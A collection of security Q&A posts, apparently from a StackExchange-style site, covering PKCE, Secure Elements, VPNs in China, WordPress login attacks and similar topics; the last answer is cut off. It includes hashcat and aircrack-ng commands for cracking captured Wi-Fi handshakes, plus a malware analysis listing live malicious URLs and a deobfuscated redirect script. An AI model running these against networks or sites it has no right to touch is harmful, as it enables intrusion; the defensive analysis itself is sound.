By using a WoT model, you may indeed have a less centralised system (which sounds good), but that makes the whole system far more complex, and much more difficult to think of, especially for users who "just want it to work". The difficulty mainly comes from the fact that each node in your WoT need to be trusted for two different things: (a) who they are and (b) their ability to verify who their next node is.

Trusting someone's identity is one thing, but trusting their ability (training and integrity) to do something opens a completely different dimension. If you consider that big CAs, whose job it is to verify others' identity, can sometimes have difficulties doing so, expecting that from all members of your WoT seems rather ambitious. Even if you wanted to restrict certain abilities to certain members, modelling those rules would itself be difficult.


How exactly do mobile apps achieve authorization code flow with PKCE? Let's imagine the following:

I've developed a mobile app using Xamarin (iOS/Android compatible)
I want it to support OAuth2 + OpenID connect's authorization code flow with PKCE, so that the user's credentials are never stored on the device, but rather an access token is. The token grants access to an API used to make the whole mobile app function, meaning the mobile app is simply a front-end interface/UI.
Is my mobile app considered the "client application", or the "Resource owner"?

The third step makes it so hard for me to grasp this. If it's considered client application, how will following through the whole code flow, protect us from anything, as most of the things will be visible (Mobile apps are public clients, there is no back-channel)

If it's considered resource owner, then does that mean I'd have to whip out an entire dedicated back-end, separate from my API, separate from my Authorization Server, and just specific for the mobile app (it will be the "Client application")?

If someone could shine some light on this, please let me know. I know the title is not very correct, if someone could edit it to better fit this question, I'd be very thankful.

Your mobile app is the "client application", and the API that makes the client app function is the "resource server" (the "resource owner" is normally the person using the app).

The use of PKCE here protects against an attacker intercepting the authorization code, which can be relatively easy on mobile apps if custom URI schemes are used. Like you say, mobile apps are public clients and so without PKCE an attacker would be able to exchange the authorization code for an access token and make calls against your backend, however when using PKCE the atacker also needs to know the "code verifier" which is randomly generated and stored only in memory by the client app each time it makes a request.

See also:

What is PKCE actually protecting?
Protecting Mobile Apps with PKCE


Hashcat - separator unmatched running pmkid 16800 crack I'm working on cracking a pmkid file. I have collected pcap file using bettercap.

Then convert using this:

hcxpcaptool -z bettercap-wifi-handshakes.pcap.pmkid bettercap-wifi-handshakes.pcap

They appear to convert:

summary:
--------
file name....................: bettercap-wifi-handshakes.pcap
file type....................: pcap 2.4
file hardware information....: unknown
file os information..........: unknown
file application information.: unknown
network type.................: DLT_IEEE802_11_RADIO (127)
endianness...................: little endian
read errors..................: flawless
packets inside...............: 185
skipped packets..............: 0
packets with GPS data........: 0
packets with FCS.............: 6
beacons (with ESSID inside)..: 7
probe responses..............: 6
EAPOL packets................: 172
EAPOL PMKIDs.................: 10
best handshakes..............: 5 (ap-less: 0)

4 PMKID(s) written to bettercap-wifi-handshakes.pcap.pmkid

I then try to run hashcat against it and it returns "separator unmatched" for all of my entries. This is a simple 2 digit test below. What is going on here?

hashcat -m16800 -a3 -w3  bettercap-wifi-handshakes.pcap.pmkid %d%d --force
hashcat (v5.1.0-849-gcf8c815c) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz, 256/738 MB allocatable, 1MCU

Hashfile 'bettercap-wifi-handshakes.pcap.pmkid' on line 1 (048614...59a93*4d61726368303332382f322e34): **Separator unmatched**
Hashfile 'bettercap-wifi-handshakes.pcap.pmkid' on line 2 (947be6...d5bc0e*1008b148e785*443542433045): **Separator unmatched**
Hashfile 'bettercap-wifi-handshakes.pcap.pmkid' on line 3 (4128f6...4b656e6e65792773204e6574776f726b): **Separator unmatched**
Hashfile 'bettercap-wifi-handshakes.pcap.pmkid' on line 4 (462f44...4b656e6e65792773204e6574776f726b): **Separator unmatched**

How about reading changelog or help menu:

02.04.2019
==========
Due to hashcat changes:
"WPA/WPA2 cracking: In the potfile, replace password with PMK in order
to detect already cracked networks across all WPA modes"
https://github.com/hashcat/hashcat/commit/b8d609ba1604f4fed62198ae5000e205dcc87f70

hcxpcaptool: added new option -k to convert dumpfile to new hashcat PMKID format

-k <file> : output PMKID file (hashcat hashmode -m 16800 new format)
-z <file> : output PMKID file (hashcat hashmode -m 16800 old format and john)

use hcxhashcattool to convert old 2500 and old 16800 potfile to new hashcat potfile Format:
-p <file> : input old hashcat potfile
            accepted potfiles: 2500 or 16800
-P <file> : output new potfile file (PMK:ESSID:PSK)

hcxhashcattool -p oldhashcat.2500.pot -P newhashcat.potfile
hcxhashcattool -p oldhashcat.16800.pot -P newhashcat.potfile


Impact of using a NON-SSL/TLS connection for API calls on same server I have two domains hosted on the same server, Domain A and Domain B, both domains have different IP addresses, assuming IPs 1.1.1.1 for Domain A, and 2.2.2.2 for Domain B.

Each domain has a different system that will communicate with the other using API. I'm wondering what would be the risks if I didn't use SSL/TLS connection for the API calls?

If I restricted access to API calls to 127.0.0.1 and the above IPs only, will it be still possible for an attacker to hijack transmitted information? Can he spoof the IP to appear using the server's IP and then steal the information?

Traffic to the loopback address (127.0.0.1) will not leave the machine it is on, and is thus secure if your server is secure.

If your two example IP addresses point to the same server, your server should recognize this and again prevent traffic from leaving the server.

However, if those IP addresses are for different servers, there is a possibility for an intercept of the data as it flows across the network. This risk might be somewhat mitigated if the servers are on the same private network or in the same datacenter. SSL/TLS can help protect against this.

Restricting API access to specific IP addresses is a good strategy of reducing the risk of unwanted data access, but it does not eliminate it. As I mentioned, traffic interception is still a risk if the network traffic is unencrypted.

Also, with regard to spoofing, it depends on the exact protocol you are using. Protocols using TCP (HTTP is performed over TCP in the standard case), have some resistance to IP address spoofing, but there are still attacks that allow for IP address spoofing in some circumstances.


By default, does a linksys router log connections? Routers have many settings that allow it to be safe and secure for the users that are connected to that network. A lot of these settings have to be manually configured though, which includes configuring the username and password to log into the router, cloaking the SSID, and so on.

I began wondering how many of these settings, by default, were not enabled. I did some research, but I was not able to get one question answered. Does a linksys router by default log any connections to websites that were previously visited? I checked my router, which is an ARRIS modem/router combo and I found that the logging option was not enabled. Would it be the same scenario with a linksys router?

Follow-up question as well: How long does the router keep its connection logs for? Can it get full enough to the point where the router just dumps all the data, or does it just clear itself over time?

Logging is disabled by default on LinkSys routers. The following is a quote from the LinkSys WRT54G user guide:

  The Router can keep logs of all traffic for your Internet connection.
  To disable the Log function, keep the default setting, Disable. To
  monitor traffic between the network and the Internet, select Enable.

Routers will generally store the last N connections in a cyclic buffer.


Is it possible to block requests for my MAC address? If a java application makes a request for my MAC address can I block it in any way? Are there any security programs which can do this?

--
What I am asking is if there is anyway I can prevent Java applications from knowing my MAC address.

Unless you do not want network connectivity, then it's not possible. Furthermore blocking for a specific application is not possible.

A MAC address is requested using ARP. ARP is a layer 2 protocol (arguably layer 2.5). ARP is used to allow connectivity between you and a router (which is a layer 3  device).  An application is located at layer 7, which is the top of the OSI model.

ARP is nescesary to allow local layer 3 connectivity. It's used to know which devices are on the LAN network.

If you are concerned about people knowing your MAC address, then this means you are allowing some malicious entity onto your network. To prevent this you can use 802.1x, which is the Port-based Network Access Control. This works both for physical as wireless networks.

If you are not in control of the network, then there is little you can do.


Are there any anti-virus programs that have a bot that clicks email links? Just started a new job, and it looks like we have some bots that are clicking every link in some % of e-mails. The problem is, I can verify that at least a few of these people are real.

The only possibilities I can think of are:
1. The person is OCD and clicks on every link (not likely, can test with invis link)
2. The email is hacked and someone installed a bot on it.
3. They have some sort of security software (these are financial firms), that clicks on every link in some e-mails.

Any ideas? We're trying to figure who to block. Is there anti-virus software that clicks every link?

A number of anti-virus, anti-spam, and anti-phishing solutions work by visiting every link in an email and checking to see if the link leads to a suspicious-looking site.  Sometimes you can detect them by checking the user-agent, but more often, they imitate the user-agent of a well-known browser (typically Internet Explorer) to prevent malicious sites from detecting them.


Does the use of a smartphone's Secure Element really offer security benefits to a banking app? My bank's Android application allows users to perform financial transactions without the use of the physical token generator (which requires an ATM card to be inserted and a valid PIN to be provided) one would normally require when using the bank's web interface. However, this is only supported when using the app on a phone that comes with a hardware Secure Element in which it can store cryptographic keys and such.

Initially, this seemed like a good decision to me, since devices without a Secure Element would have to store keys in memory or on persistent storage, and are therefore vulnerable to attacks by malware installed on the same device.

However, when thinking this through I got the impression that using the Secure Element actually would leave one just as vulnerable to these attacks than when solely protecting keys through software; compare these two approaches:

The system relies on the operating system to restrict access to the keys: other apps can't access them while in userland, but when an attacker manages to gain root access to the device they can steal the keys and sign or encrypt whatever they want, pretending to be the banking app. This allows them to forge transactions.
The system stores keys on the SE and relies on the operating system to restrict access to this hardware: other apps can't access them while in userland, but when an attacker manages to gain root access they can instruct it to sign and encrypt whatever they want, pretending to be the banking app. This allows them to forge transactions.

Because of this, the use of the hardware chip for this purpose seems rather pointless to me. The same holds for similar applications relying on it to store sensitive material.

Am I missing something here? Is there a situation where the secure element does offer a clear security benefit to this banking app, making it reasonable to mandate it?

So both of your scenarios rely on the attacker having root access to the phone. In security, it's generally considered that once an attacker has root access, it's game over. That said, there are still interesting things to be said about your question.

You asked:

  Is there a situation where the secure element does offer a clear security benefit to this banking app, making it reasonable to mandate it?

Being a little bit cheeky: Yes, normal use-cases where the user has a password / pin lock, and the attacker does not have root access.

Going a little more in-depth:

When you say "reasonable to mandate it" I assume you mean vs offering the same functionality to users with non-Secure Element devices by storing the key in software? A few things come to mind:

On Android > 6.0 (and I bevieve iOS) the crypto happens inside the Secure Element / Secure Enclave, so the private key never enters userland, so it is immune to potential vulnerabilities / sloppy coding in the banking app itself or the software crypto libraries they use. (generally a good practice).
Because the private keys never leaves the Secure Element's keystore, it is impossible to extract them from the device and run the spoof from a server; you need to do it from the physical device. If the owner discovers that the device has been stolen, they can do a remote wipe, which will clear the private keys, attack over.
If the keystore is password protected, then in the case of a software keystore, you can extract the file to a server and brute-force the password to your heart's content. In the case of a Secure Element, after some number of brute-force attempts, they can wipe the keys.
While still a bit experimental, Android and iOS are starting to offer neat access control mechanisms on when the hardware key store will unlock the keys and perform crypto for you. For example, you can program your app to request crypto from the SE in the following way "Sign this data, but only if the device was unlocked using password, fingerprint, or PIN, and if the device was unlocked more than 5 minutes ago, re-prompt them for their login first". That level of control is fundamentally impossible with software-based keys.

None of those things are 100% foolproof against an attacker with root access to the device, but I think they show that a hardware keystore / crypto module does add some value. My professional opinion is that it's a defensible choice for a banking app to allow you to bypass a physical token generator only if your device has a Secure Element.

[Disclaimer: the Android Secure Element underwent a major overhaul in Android 6.0, so what I said above does not apply to Android < 6.0 which did not do any crypto in the SE and did hand the private keys back to userland.]


Steganography in MP3s Is there a way to hide a message in an audio file and hear it by playing it in reverse? Like if you play the audio file forward, it will skip my secret message and just play the next frame, but is there a way to play it backwards and hear the secret message?

There are a couple techniques for this that I'm aware of, one is called Backward masking. Not to be confused with the other, Backmasking.

Backmasking is arguably intentional. Regardless, it's a method of recording something backwards onto a track, as it's explained in this wikipedia article.

Backwards Masking is where there are subtle sounds or messages played in very specific and very intentional parts of a recording with the intention that the average audience member will not notice that the secret message is there, it can be done as explained in This wikipedia article.


Extract WPA PSK from airodump-ng output file How can I get the PSK hash in plain text from a airodumnp-ng .cap file ?

Example :

  Hash :
  af8cfcf3c66d6e279d3fcb43e78569e872446e24f5f190350637fa174d9ece63

I understand aircrack-ng -J file.hccap file2.cap generates the .hccap ( format hashcat works with ) but has other hashes , not the PSK hash.

This is my router hccap file :

Opening clean.cap
Read 3 packets.

   #  BSSID              ESSID                     Encryption

   1  5C:D9:98:E5:AD:D8  me                        WPA (1 handshake)

Choosing first network as target.

Opening clean.cap
Reading packets, please wait...

Building Hashcat (1.00) file...

[*] ESSID (length: 2): me
[*] Key version: 2
[*] BSSID: 5C:D9:98:E5:AD:D8
[*] STA: 48:86:E8:1A:B5:B0
[*] anonce:
    80 BB D8 30 3C 77 67 69 05 C0 9E 1D E2 1F B9 78
    77 E2 91 83 02 BA FB AA E3 53 45 D8 C7 60 EC 12
[*] snonce:
    6F 82 D4 AE D5 D3 9C D8 5D 43 CB 2E 9D D1 56 1A
    F7 20 F0 43 89 FB 48 69 37 7E 12 9D 65 B4 3B B7
[*] Key MIC:
    A9 80 58 2B 77 E0 50 6B CF 7C 14 42 23 55 AD 2A
[*] eapol:
    01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
    01 6F 82 D4 AE D5 D3 9C D8 5D 43 CB 2E 9D D1 56
    1A F7 20 F0 43 89 FB 48 69 37 7E 12 9D 65 B4 3B
    B7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 16 30 14 01 00 00 0F AC 02 01 00 00 0F AC
    04 01 00 00 0F AC 02 00 00

Successfully written to myRouterClean.hccap

Quitting aircrack-ng...

Because is my own router I know that my PSK is :

  9b3fdc780db2bbf3045eff878f10a55b0e2c0eb1088df8dad0d6dc130f2d51fd

How can I extract my PSK from the above file ( hccap ) or from airodump-ng output .cap file ?

Also john needs to process the capture file to be able to work with it and here is the output of hccap2john , still no good :(

    e:$WPAPSK$me#LBaMtOrMG6Pc4fKkPs9IfhLHbBVREwgibR3K4jQUw2C7yoVdBrsGbKKoCvS.ixUkD
    5RbOEL.bVrW5vZsRy8FUk8uyufXIoLMlq1g2U21.5I0.Ec............/Ps9IfhLHbBVREwgibR3
    K4jQUw2C7yoVdBrsGbKKoCvQ......................................................
    ...........3X.I.E..1uk0.E..1uk2.E..1uk0.......................................
    ..............................................................................
    .................................................................
    /t.....U...8a.K0hrs3/fnrkIEWBJfGc:48-86-e8-1a-b5-b0:5c-d9-98-e5-ad-
    d8:5cd998e5add8::WPA2:myRouterClean.hccap

Assuming you have properly captured the Handshake using airodump-ng.
you can crack .cap using aircrack-ng as:
  aircrack-ng  -w  Wordlist captured.cap file


Can I use a single SSL cert on two different servers? I have a master server installed on AWS and the slave server installed on GoDaddy. How many SSL certificates do I need to buy? Can I use a single certificate for both?

If the master and slave use the same hostname, or you have a wildcard certificate and they both use subdomains of the same domain, then there is no technical reason why you can't use the same SSL certificate for both. But some SSL certificate issuers license them per server, and you may be in breach of your licence conditions.


Setup a private VPN for family in China? I have family in China. During the past weeks their internet connection was severely limited. VPNs such as Astrill and similar weren't working anymore.

Is it possible to setup my own VPN (or alternative), either on AWS or at home, in a way that would be more efficient for them than Astrill?

If VPNs all get blocked by some machine-learning chinese wizardry, what about a more custom solution like payload hidden in pictures? (steganography)

My thinking is that if I do it for a few people it would pass under the radar. What would you recommend?

Note that my information may be outdated, as the last time I really dug into this subject was in 2013 - 3 years ago. I lived there, and experienced all the inns and outs of VPNs and Proxies.

The love-hate affair with VPNs in China

  I have family in China. During the past weeks their internet connection was severely limited. VPNs such as Astrill and similar weren't working anymore.

Yeah, this happens during a lot of interesting events, and certain times of the year. The Internet becomes heavily restricted, and most of the VPNs keep getting blocked.

Shortly thereafter, the VPNs are generally unblocked because the ruling party members are using them too. ;) It's mostly just for show. However, they'll sometimes ban entire lists... so it's often a game of cat and mouse.

Homebrew Solutions may not be the best course of action

  Is it possible to setup my own VPN (or alternative), either on AWS or at home, in a way that would be more efficient for them than Astrill?

Yes, and this can work, but! It's highly suspicious. And if you're using your own home proxy as a VPN, you'll eventually be banned from connecting to Chinese websites and communication protocols. Do you want to lose contact? Because this is how you lose contact.

Chinese authorities are notoriously paranoid, and think that any kind of communication with foreign entities denotes espionage, especially if you are in any way connected to individuals listed in the data stolen from the OPM breach, and especially if the people you're talking to have appropriate guanxi (关系： "connections," "relationships", etc).

You will not pass under the radar.  In most cases, you will only connect to VPNs which are allowed to be connected to. In fact, this will put your family in China under suspicion. "climbing the wall" （翻墙） is not something you want to create a homebrew solution to, as it's suspicious. It's better to get lost in the noise.

PPTP vs. OpenVPN in China

  If VPNs all get blocked by some machine-learning chinese wizardry, what about a more custom solution like payload hidden in pictures? (steganography)

It's more like this: if you utilize standard VPN protocols which begin their connections in a standardized way, it will be blocked due to DPI. OpenVPN for example, did not work for me, but PPTP did.

Unfortunately, PPTP with MS-CHAPv2 is quite insecure, and easy to decrypt. PPTP is also vulnerable to man-in-the-middle attacks. Part of the reason why it works is because they're able to redirect traffic.

If you're trying to discuss anything sensitive, do not use PPTP. Do not use anything, actually. There are a lot of reasons for this, but it's beyond the scope of this answer.

Recommended VPNs

  My thinking is that if I do it for a few people it would pass under the radar. What would you recommend?

Now here's where our, "questions seeking product recommendations are off-topic as they become obsolete quickly", rule really comes into play: VPNs are extremely volatile in China. One day they're banned, another day they're not. Some times, entire VPN companies become completely inaccessible, and sometimes you need to contact support to get updates, if you're lucky enough to find some way of contacting them.

And even if this was on topic, it's best not to tell you at all. Why? Because the CCP trawls the internet for VPN companies, signing up for them, and downloading the product's entire IP range, and then blocking them.

For things that do work, telling you assists "them" in helping to block more hosts, degrading the experience for everyone else. Find it yourself. Chances are, if you find something that is working, they're using it too. :-p


Should I obscure database primary keys for the frontend even if these ids are uuidv4 Ids? After reading through the answers of the related question (the same question but about integer primary keys), I was wondering if there is any reason to hash uuidv4 primary keys and sending the hash to the frontend instead.
Since uuidv4 Ids are random, exposing these ids to the frontend should not leak any information and thus there should not be a problem with sending these ids to the frontend.
So is there any reason and or scenario in which I should obscure database primary keys for the frontend even if these ids are uuidv4 Ids ?

Protecting the key ("obfuscation" might be the wrong word) assumes that there is some attacker which should not see the real key and/or should not be able to use the key. Without such potential attacker (which might be the user itself) there is no need to protect the key in the first place.
Just guessing the key is in your scenario kind of impossible since the key is randomly chosen and large enough. But the key might somehow leak to somebody who should not be able to see the key in the first place or who should not be able to associate multiple uses of the key with each other.
For example it could be that the key represents some user, and that user details could be accessed just by knowing the key. In this case it might be a problem if the key gets exposed in the URL and ends up inside a Referer header when doing some cross-site request. Or it might be that the key represents a user profile. Here would it be a problem if the same key is used on different sites, so that the user can easily realize that it gets tracked.
In these cases it might be useful to somehow protect the original database key. But simply using a fixed hash will not help: a specific key will always be mapped to the same hashed key. And when every access to the database will be based on the now protected key, then knowing the hashed key allows the same kind of access or associations than with the original key.
It would be different if the protection of the key was based on some additional and variable context. Such a context could for example be the current session id, in which case the protected key could only be used if the session id is also known. This would help against accidental leaking the key inside a Referer. Or the context could be the current web site. This would help against the user realizing that no matter which web site they visit they will be tracked and it will always add up to the same user profile. Or the context could be the time so that the key could only be misused within a short time frame etc. If such protection is needed and how it should be implemented depends on the details of the specific use case.


Securing External Drives I recently purchased a My Passport external drive for my Mac.  It comes with software (WD SmartWare) that apparently encrypts the drive.  Does anyone have an understanding of the level of security of this software and hardware?  Is there an alternative with higher standards?  I've heard of software such as TrueCrypt, but would that be appropriate for my hardware?  Or is a cloud-based solution more secure for storing my data?

There is a discussion in SuperUser about the type of encryption WD SmartWare uses: https://superuser.com/questions/249112/does-wd-drive-lock-encrypt-the-data

Here are a few tips about encrypting external drives:

use only open-source software - only that way you can be sure (if you check the source code or believe that the community does :P) that there isn't any backdoor + community can fix bugs which could otherwise be critical
consider whether you want to use hidden volumes
use software that allows you to choose the encryption algorithm (such as AES)

TrueCrypt is not being maintained anymore, but its fork, VeraCrypt is being actively developed and features everything mentioned above.

You may want to consider file encryption (not disk encryption) too.

I'd suggest using GPG for that. You can use both symmetric and asymmetric cryptography with it.

These are just my suggestions. Depends on your needs. Choose what suits them best.


what does these unknown request_uri values against my nginx web server mean? I built a web application with low traffic so far, after making some advertising I realized there are some suspicious requests against my server, this is what Loggly service shows me in panel:

Logs from Loggly about nginx requests

I am not an expert in security information buy I'm suspecting that someone wants to attack my site or are preparing a future attack.

What does these logs mean exactly?
Should I worry too much about this behavior?
are they using some exploit scanner software ?

I am setting a web application firewall to add some rules to DNS and changing all admin passwords but what other recommendation I must keep in mind ? thanks in advanced

The Internet is a hostile place for servers.

As soon as you open a service expect it to be scanned by automated bots of all kinds: some will try to find a vulnerability, some will try hundreds of passwords, etc. These are automated bots who scan the web as a whole, they do not mean that you are or will be the victim of a targeted attack.

In you screenshot, not only the rule severity is flagged as "Informational" but also the requested URL do not exist on your server ("status 404"), so there is nothing worry here.

Use this however as warning to check that you apply updates regularly, use secure passwords and read about how to harden your server configuration. All these bots are just looking for low-hanging fruits so, as long as you follow IT-security good-practices you should have no worry with them.


Determine what a company is googling Let's say that a fictional company, AwSemCo, discovers that a published vulnerability "CVE0day" affects their systems and they immediately start investigating it.  They go to the web looking for a solution, what to look for forensically if they've already been hit, etc.  As employees at AwSemCo are searching all about CVE0day, their search activity would leave signals in the searches that AwSemCo might be vulnerable to the issue.

Is it possible for someone outside of the search giants to determine what the people at AwSemCo are searching for on Google?  If so, is this a viable source for reconnaissance and/or information-gathering?

Viable? Probably not....

Years ago, I read an article proposing placing ads for a topic and targeting them to a geographic location. Then the mere fact that you got billed suggests that someone at the target location was googling your topic. I'm not sure it's very viable, as the author seemed mostly concerned about buying ads for their own name and limiting the scope to northern Virginia to see if certain 3-letter agencies were investigating them.... In your case, if AwSemCo was sufficiently isolated both geographically and in its interest in CVE0day (i.e. no one else in their city would care about CVE0day), it might work.

A lot better would be to own a site that places high in the Google rankings for CVE0day results, so the users at AwSemCo click through to your site. Then you can just look for their public IP address block in your logs. Additionally, Google's own Webmaster Tools lets you see how often your site appears in search results, even when users don't click through. Again you'd need AwSemCo to be sufficiently geographically isolated but perhaps you could use the geographic filtering to see results. Results in Webmaster Tools are delayed by a couple days, so you wouldn't get same-day results.


How could Firefox password manager talk to Chrome password manager? I recently installed Firefox and realised that it was able to successfully import all passwords that were stored in Chrome.
I had been using a sync passphrase in Chrome and I expect it to store the password in such a way that they cannot be read by any other software installed in the PC. At least this is what's told by the Google Chrome community. After all, Firefox being just another software installed in the same PC, if it can read my passwords, then any other software can do the same.

However, when I try to view a password using Google Chrome, it expects me to type the Windows password. Is it giving me some false security? Giving me the impression that passwords are encrypted?

How was Firefox able to read the so called "encrypted" passwords from my Chrome and store them in its database?
Is this a bug in Chrome?

I used Google Chrome latest today in a Windows 10 PC fully updated PC.

Encryption in the user space usually works by storing the key in an encrypted keychain (keychain in OSX, Gnome Keyring, KDE wallet, whatever name Microsoft uses in Windows...). This keychain is either locked by a custom password or more traditionally by your user password, so whenever you log in, your system automatically unlock it.

This is pretty much what @deviantfan said in his third comment above. Another user can't view your passwords unless he knows your user credentials to be able to log in as you, or the master password to unlock the keychain if it's accepting a custom password for it (Gnome keyring and KDE wallet do).

So, why Firefox can read Chrome's passwords? Because the local password manager is unlocked upon you log in. I'm not sure you can do it the other way around (haven't tried). If you lock Firefox's password with a master password, can you import them to Chrome? It shouldn't unless you type the password during the importing process.

edit

You have more info in the following link, explained by Chrome's security teach lead. https://news.ycombinator.com/item?id=6165708


What risks do I have now that I accidentaly opened a suspicious URL send to me by Skype? The following URL was sent to me by a trusted Skype contact (from my university):

WARNING - DO NOT CLICK IF YOU DON'T KNOW WHAT YOU'RE DOING

http://bit.ly/28PPw3V#dahubas=my_skype_id

I clicked on it because I thought it was the score of an exam. I got redirected to savethechildren.org. This seemed suspicious to me, so I added '+' at the URL at bit.ly link and found out that it was redirecting to.

http://www.shopintoledo.com/redirect.aspx?url=http://fatjtohuh.net-www-rost...

This clearly looks like SPAM to me. What risks am I having now that I accidentally opened this link? I didn't give any password but my Skype address is probably into a huge spam database right now. Should I be concerned?

What risks do you have?

Possibly that your computer is now infected with malicious software like a virus or a trojan horse. The following steps should be taken if you didn't already.

What to do?

There are some steps you can take:

First of all, don't click on links that you don't trust or know
Use unshortenit.it or urlex.org to check where the shortened links will send you and analyse those URL's using virustotal.com
Make sure you have a virus-scanner*, anti-spyware** software (and a adblocker plugin*** installed)
Update, update, update (make sure all software including your operating system is up-to-date)
Perform a full-system anti-virus and anti-malware scan
Change your Skype password since it's unclear if this was caused by a compromised computer of your University contact or by your leaked Skype password
Inform your University contact, he might be infected

For example: *Avira Anti-Virus, **Spybot Search and Destroy, ***Adblock Plus, Adblock, uBlock Origin

What caused it?

An annoying University contact that's trying to be funny
An infected University contact (that has no idea that) his computer or hacked Skype account is used for sending such messages to his Skype contacts

Additional information

The technique that is used here is URL obfuscation, usually using different URL shorten services or hacked websites for redirecting traffic.

Analyzing the URL forwarding

Below is a trace of how the URL is redirecting: Warning: Do not open those URLs:

1: http://bit.ly/28PPw3V#dahubas=my_skype_id
2: http://www.shopintoledo.com/redirect.aspx?url=http://fatjtohuh.net-www-rostizado.gq/?/welcome/site/?vuhonoh
3: http://fatjtohuh.net-www-rostizado.gq/?/welcome/site/?vuhonoh
4: http://cheergoldfulsilvermotion.com/?a=370960&c=brain&s=wee
5: http://318-inteligen.cheergoldfulsilvermotion.com/intl/vwme/inteligen/

Malware detection

The first three URLs don't seem infected (by the results of virustotal.com). The last two URLs seems to be infected as shown in the image below (detection rate of 2/67, and a suspicious mark). The detection rate for the domain cheergoldfulsilvermotion.com seems even higher (3/67, and a suspicious mark).

Sucuri sitecheck also shows that there is malicious code detected on the website, as shown in the picture below. The payload is called mwjs-iframe-injected530?v22, see this report about it. It seems to be related to, don't open http://aspectsdesktoponepro.org/go.php?sid=4 which is again flagged as malicious by SOPHOS anti-virus on virustotal.com.

Advanced malware analysis / reverse engineering

If you like to perform advanced malware analysis or reverse engineering on the used malware in this case. Make sure you do it in an isolated environment, for example using a isolated virtual machine. I posted the first steps on how to do so and the first results on the following two locations:

pastebin.com
pastebin.com
jsunpack.jeek.org

Update: Further investigation shows a connection to IP address 5.45.81.159 which is also related to fatgoldworkburnachieve.com and 891-health.goldlovelyozmotion.com which all seem to be infected with malware named MW:HTA:7, see report here and report here. Anyway, they all mostly end up redirecting to http://fgnfdfthrv.bee.pl/?q= wich highly blacklisted, and marked as malicious (malware) site. The deobfuscated JavaScript code that I could found on the bee.pl subdomain where the redirects seem to end, is this:

function are_cookies_enabled() {
    var cookieEnabled = (navigator.cookieEnabled) ? true : false;
    if (typeof navigator.cookieEnabled == "undefined" && !cookieEnabled) {
        document.cookie = "testcookie";
        cookieEnabled = (document.cookie.indexOf("testcookie") != -1) ? true : false;
    }
    return (cookieEnabled);
}
if (are_cookies_enabled()) {
    window.location.href = 'http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/';
} else {
    window.location.href = 'http://savethechildren.org/';
}

It seems that in case you had cookies enabled you get redirected to a malicious site. In case you had them disabled it seems to send you to savethechildren.org, which seems uninfected to me. The http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/ seems to redirect to different URLs everytime I connect to it in different ways. Examples of where I ended are:

https://integrated-payments-zone.com/brain_int/?a=370945&click_id=06_84198625_849b0176-94f3-4b48-9746-b6122b7a9497&subid1=326965&netid=3&ver=old
http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/
http://108-iq.topggolddbestanyw.com/nl/xdxz/inteligen/
http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/go.php


Meaning of many failed login into my website I installed Sucuri Security plugin on my wordpress site, and it reported me that my website has 10 failed login attempts by my registered username with from last night until now.

My website hasn`t any problem now but what is the meaning of this attack?
What should I do now?

I think it's pretty common nowadays (based in my logs of hundreds of sites) that Wordpress websites are randomly attacked. I'm guessing you still have the login page at /wp-admin/ and that your login name is shown somewhere in your posts (author) or using the "admin" account.

Basically what some bots do, is to get your id from your site (or try with 'admin'), and try easy passwords attempts (like reversed, or very common ones). They don't do brute force because the intention is not to shutdown your website or spend so much resources in a single website. As you see, those bots try to randomly access any wordpress website with weak passwords (not your specific site). They have more chances that way than forcing a single site. In a similar way, bots try to guess your mysql web-based managing tools, which can be seen at your error logs like:

phpmyadmin/ , myadmin/ , mysql/ , etc...

In order to protect yourself against those attacks, this is what I recommend:

Use strong passwords (even better, use paraphrases of 15 chars or
longer)
Hide your username and display your name instead (however that won't
be 100% effective. Your login name may still leak). If your name is "John", don't use "john" as login name.
Add Apache Basic Authentication to your login page
If possible move away your wp-admin/ (do not use: /admin/ or
/login/). There are many ways to do it, some of them not so
effective.
You can specify which IP addresses to accept at your login page
(example: https://wordpress.org/plugins/restricted-site-access/).
Add HTTPS to your login page.
Keep your Wordpress installation up to date

In case you have administration access to your hosting server (in other words, you are not using a shared service), here are further recommendations (some applies only to Linux servers):

Use fail2ban. You can setup special rules to ban anyone who is trying to scan for phpmyadmin/ or more than X login attempts to your login page. (If you don't know how, let me know and I will post here my filters).
Update your server regularly (specially, apache, mysql and php).
Allow access to your login page only from your country (in case you don't travel often). This step will require to install geoip location libraries and to have some scripting knowledge (perhaps there is an easier way to do it?).
Use a firewall and only allow the ports you need.

I may be missing many other ways to protect yourself, but those are the onces I use at my sites (around 500) since 5 years ago, and so far no breach (that I know).


Can malware change the website visited by browser? I heard in a security talk today (I didn't have the opportunity to ask questions):

The speaker mentioned that he observed (2 years ago) that a possible malware on a given computer was behaving such that, when the user visits a legitimate URL via the browser, the malware changes the URL that needs to be visited; so the URL in the address bar remains the same, but the page visited is now malicious.

Can someone tell how a malware could achieve this OR is this even possible today ?
Is the malware somehow intercepting the request sent by the browser ?

There are several ways to achieve this:

Malware working as a proxy or directly hooked into the browser (like with browser extensions) can change the content of the site itself, that is one will still visit the original site but the  content will be changed in transit or gets changed inside the browser with script injection or similar. This kind of malware is often used to inject advertisements.
By changing the DNS settings it will return attacker-controlled IP addresses for a host name instead of the real IP addresses. This way all traffic to these hosts goes to the attacker which then can provide different content. DNS settings can be changed on the computer itself or even on the router. In the later case all systems in the local network are effected. See https://nakedsecurity.sophos.com/2012/10/01/hacked-routers-brazil-vb2012/ for a detailed example.
Otherwise compromised middleboxes (routers, firewalls, proxies) can also be used to change or redirect traffic.


How does MariaDB's ed25519 auth scheme work? Newer versions of MariaDB (a MySQL database server fork) have a new password based auth scheme called "ed25519". The docs are very sparse regarding how it works and what it does.

https://mariadb.com/kb/en/library/authentication-plugin-ed25519/

What is the value stored in the database? How is it generated from the password? What is the value sent by the client to the server on login? How is it generated from the password? Is the scheme secure to use without TLS? How resistant is it against password dumps? What is the correct full name of this auth scheme? Is it used by anything else besides MariaDB? Are there other implementations?

What is stored on the server?

